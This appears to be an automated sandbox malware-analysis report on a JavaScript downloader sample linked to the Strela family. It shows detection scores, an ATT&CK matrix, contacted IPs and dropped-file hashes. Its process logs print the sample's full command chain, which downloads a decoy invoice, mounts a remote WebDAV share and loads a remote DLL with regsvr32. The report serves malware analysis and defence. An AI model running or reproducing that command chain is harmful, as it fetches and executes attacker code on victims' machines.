Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1956351416528695.js	5%	Virustotal		Browse
1956351416528695.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1332857563.000002611D1A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2545485424.000002611D400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/D	net.exe, 0000000C.00000002.1322263364.0000017971298000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 0000000C.00000002.1322263364.0000017971268000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1322263364.0000017971298000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1322263364.0000017971268000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587924
Start date and time:	2025-01-10 19:27:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1956351416528695.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.233.129.217, 52.22.41.97, 52.6.155.20, 3.219.243.226, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.16.168.125, 2.19.11.117, 2.19.11.122, 23.40.179.35, 23.40.179.19, 23.40.179.48, 13.107.246.45, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:28:07	API Interceptor	26x Sleep call for process: powershell.exe modified
13:28:12	API Interceptor	1x Sleep call for process: net.exe modified
13:28:13	API Interceptor	2x Sleep call for process: svchost.exe modified
13:28:20	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067169290728866
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqZ:2JIB/wUKUKQncEmYRTwh0d
MD5:	A156F5638F80AA3E1A303A7059B4E635
SHA1:	18EBFB9B5DF2DD9399B31F272ADBAEEEFF2A8E6A
SHA-256:	B4270070705EF5476D47CEF766BCF031457B939FAE686EFF3C8FB4FEAF6D5315
SHA-512:	9069F8E950C9F40FCC5143C3818891117D96296794A13F972D965AB53FBC1273C12DD5CD76595F7AE1F9627D4C5AD2AC217797D4BAC824AB3E0828BFE3E8F650
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1ce4e4bb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899844630837463
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	BC4C40522E9AB92F434F7CF6C7019010
SHA1:	05F2E431C38D5AB023B93CD2151F8B25584D0DA2
SHA-256:	682F07F5EEF5AA9A8D1211CC9FF9F0AEFA85653C42C82D2B346DA338BA91237B
SHA-512:	3F0710E50846F702A62A82259A0AAA8DF135C3F5CB8218D388E9A188A873CF4678A4BC0507BCC04BFB6503979A7FC09A6D8D1B0D601A37E9006D91B26A710C9B
Malicious:	false
Preview:	...... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................2n_......}/....................I.....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08188258825782244
Encrypted:	false
SSDEEP:	3:nUYefS31t/57Dek3Jmk38/lllollEqW3l/TjzzQ/t:UzfS3HR3tKlAmd8/
MD5:	99E0EE13844A7F35FBB5A23B60598F79
SHA1:	954F13E66B9A308722C6939B18A3D472F3BA2DA0
SHA-256:	4AB037E75320CB111B00B728A07B06214A8E90D61E824EE658460269DCF9B0BC
SHA-512:	A69CDD18B5CCEF0AF8702265B3D50FF872706AE82D9D53B1736EB1FDE0498365F11F81078780F9D3C8E59FF3C6D4E7BD2ED3901D842C097EF413CD882B24F70D
Malicious:	false
Preview:	qY.2.....................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59...................I.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.179493886167348
Encrypted:	false
SSDEEP:	6:iO4QP+q2PcNwi2nKuAl9OmbnIFUtSQ5e5ZmwsQ5etVkwOcNwi2nKuAl9OmbjLJ:72vLZHAahFUt+/454ZHAaSJ
MD5:	68A190B4BC23D9E8A26363E2D92CA3CF
SHA1:	5731A32589291AC47A09B5C3E8CE0B969AF7D20E
SHA-256:	4D4AE2C76865BFE8606FBAFDE2A4CE0D09AC0E0AEF2E7A097A190B949631C683
SHA-512:	B1BB6D991B53BFE2BE8D3FE57A271AD3C52B8D5457BF735F8B765DB62F3A104E34C67BE0CAD8F7A479E52478B2D90DF2AE04466709B992994D76BE442161593C
Malicious:	false
Preview:	2025/01/10-13:28:13.254 1008 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:28:13.259 1008 Recovering log #3.2025/01/10-13:28:13.259 1008 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.179493886167348
Encrypted:	false
SSDEEP:	6:iO4QP+q2PcNwi2nKuAl9OmbnIFUtSQ5e5ZmwsQ5etVkwOcNwi2nKuAl9OmbjLJ:72vLZHAahFUt+/454ZHAaSJ
MD5:	68A190B4BC23D9E8A26363E2D92CA3CF
SHA1:	5731A32589291AC47A09B5C3E8CE0B969AF7D20E
SHA-256:	4D4AE2C76865BFE8606FBAFDE2A4CE0D09AC0E0AEF2E7A097A190B949631C683
SHA-512:	B1BB6D991B53BFE2BE8D3FE57A271AD3C52B8D5457BF735F8B765DB62F3A104E34C67BE0CAD8F7A479E52478B2D90DF2AE04466709B992994D76BE442161593C
Malicious:	false
Preview:	2025/01/10-13:28:13.254 1008 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:28:13.259 1008 Recovering log #3.2025/01/10-13:28:13.259 1008 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.156701292519718
Encrypted:	false
SSDEEP:	6:iO4QRuq2PcNwi2nKuAl9Ombzo2jMGIFUtSQRNZmwsQR/kwOcNwi2nKuAl9Ombzos:7QvLZHAa8uFUtp/954ZHAa8RJ
MD5:	D2D5C3784AF36AE55E4014E32BD23907
SHA1:	14324A8F4B80EF95BBE06E778359BBAE730094AD
SHA-256:	3E71F08257C2EF56A2878815AC8B06A32AB83FCA8763C027D06CADEDF2DB6950
SHA-512:	E1E392C025ADAA02190190043E7FDC93FA1862779907BECF7AA47079F08BD810214826A49CDA85120F30013CE5AFD1F2FBBDB499E2CAB45717C097FB52751795
Malicious:	false
Preview:	2025/01/10-13:28:13.331 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:28:13.333 1c54 Recovering log #3.2025/01/10-13:28:13.333 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.156701292519718
Encrypted:	false
SSDEEP:	6:iO4QRuq2PcNwi2nKuAl9Ombzo2jMGIFUtSQRNZmwsQR/kwOcNwi2nKuAl9Ombzos:7QvLZHAa8uFUtp/954ZHAa8RJ
MD5:	D2D5C3784AF36AE55E4014E32BD23907
SHA1:	14324A8F4B80EF95BBE06E778359BBAE730094AD
SHA-256:	3E71F08257C2EF56A2878815AC8B06A32AB83FCA8763C027D06CADEDF2DB6950
SHA-512:	E1E392C025ADAA02190190043E7FDC93FA1862779907BECF7AA47079F08BD810214826A49CDA85120F30013CE5AFD1F2FBBDB499E2CAB45717C097FB52751795
Malicious:	false
Preview:	2025/01/10-13:28:13.331 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:28:13.333 1c54 Recovering log #3.2025/01/10-13:28:13.333 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF679b8f.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\aadf3833-2746-45f0-98c0-c342f8432b87.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b05d3ccc-a0e2-4a8d-b197-c0e036401e09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.976768870550752
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnHWsBdOg2HiPAcaq3QYiubSpDyP7E4T3y:Y2sRdskH7dMH+3QYhbSpDa7nby
MD5:	AB7312B2EA9CA05773D6C22AB742FA00
SHA1:	554BBCEE2A63803CC7EFD6DB0FEF8738C19B0255
SHA-256:	7C2B39EA04F6DCEDC9F6E658354867E1A5F11F52F71A5BA8400D47A0850159D2
SHA-512:	0C54808B9F4876BA533DEAC45212D21689EF9EE2802E369A962D68B1EEBEF00A8248A70B139F995870E8FE0925F14D34B45DBF3A74FB52FB5B669BFFE19DCF6F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381093704071359","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126651},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229916995569297
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP1r3Eg:CwNw1GHqPySfkcigoO3h28ytPV3Eg
MD5:	620C99828C293C449E5960C378F5A479
SHA1:	D5407128E121E431E33F9532C5FD52D8209F74D2
SHA-256:	073135BA128E6772350225479B927D789F8376FB3AE625CC845CE2F8630C95A5
SHA-512:	865DA0072503603B9190532984E369385F793BF0F92BCF481A72D6DB59D62D4BB05C75D4CAD4D91ABB942E9E9CC1A3811D90ABD657031F67A30E207FEBDD69E8
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217709966883355
Encrypted:	false
SSDEEP:	6:iO4Q3xOq2PcNwi2nKuAl9OmbzNMxIFUtSQsDZZmwsQsDzkwOcNwi2nKuAl9OmbzE:7XsvLZHAa8jFUti/U54ZHAa84J
MD5:	AED3966D895B7155F96CCF7C3CE4AF93
SHA1:	2119F4D7C191516DBB8D686580CECC780BC7D925
SHA-256:	1001BE3340503A22540258AF73BF7EFB56A7B8CB90EFBA535DCEAD32F7916F79
SHA-512:	E806675AFCE71E725B0C1A11AE7CB5A6F493470BEED9AA5C9A7B430ED017146C007F6DD0E83AD35C0C31DABA2F0339836EBD281F5D87369BA56C485BA404A87B
Malicious:	false
